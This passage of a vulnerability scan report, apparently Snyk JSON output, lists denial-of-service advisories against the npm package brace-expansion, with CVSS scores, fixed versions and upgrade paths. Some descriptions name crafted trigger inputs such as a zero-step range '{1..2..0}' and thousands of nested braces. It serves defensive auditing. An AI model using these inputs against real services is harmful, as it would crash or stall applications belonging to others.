"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
